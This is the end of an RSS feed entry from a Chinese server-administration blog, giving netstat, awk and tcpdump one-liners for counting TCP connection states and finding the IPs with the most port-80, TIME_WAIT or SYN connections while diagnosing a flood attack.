netstat -n | awk &#8216;/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}&#8217;<br />
netstat -n | awk &#8216;/^tcp/ {++state[$NF]}; END {for(key in state) print key,&#8221;\t&#8221;,state[key]}&#8217;<br />
netstat -n | awk &#8216;/^tcp/ {++arr[$NF]};END {for(k in arr) print k,&#8221;\t&#8221;,arr[k]}&#8217;<br />
netstat -n |awk &#8216;/^tcp/ {print $NF}&#8217;|sort|uniq -c|sort -rn<br />
netstat -ant | awk &#8216;{print $NF}&#8217; | grep -v &#8216;[a-z]&#8216; | sort | uniq -c</p></blockquote>
<p><span id="more-669"></span></p>
<h3>查看80端口连接数最多的20个IP</h3>
<blockquote><p>netstat -anlp|grep 80|grep tcp|awk &#8216;{print $5}&#8217;|awk -F: &#8216;{print $1}&#8217;|sort|uniq -c|sort -nr|head -n20<br />
netstat -ant |awk &#8216;/:80/{split($5,ip,&#8221;:&#8221;);++A[ip[1]]}END{for(i in A) print A,i}&#8217; |sort -rn|head -n20</p></blockquote>
<h3>用tcpdump嗅探80端口的访问看看谁最高</h3>
<blockquote><p>tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F&#8221;.&#8221; &#8216;{print $1&#8243;.&#8221;$2&#8243;.&#8221;$3&#8243;.&#8221;$4}&#8217; | sort | uniq -c | sort -nr |head -20</p></blockquote>
<h3>查找较多time_wait连接</h3>
<blockquote><p>netstat -n|grep TIME_WAIT|awk &#8216;{print $5}&#8217;|sort|uniq -c|sort -rn|head -n20</p></blockquote>
<h3>查找较多的SYN连接</h3>
<blockquote><p>netstat -an | grep SYN | awk &#8216;{print $5}&#8217; | awk -F: &#8216;{print $1}&#8217; | sort | uniq -c | sort -nr | more</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.deepvps.com/determine-the-cc-attack-netstat-command-detailed.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
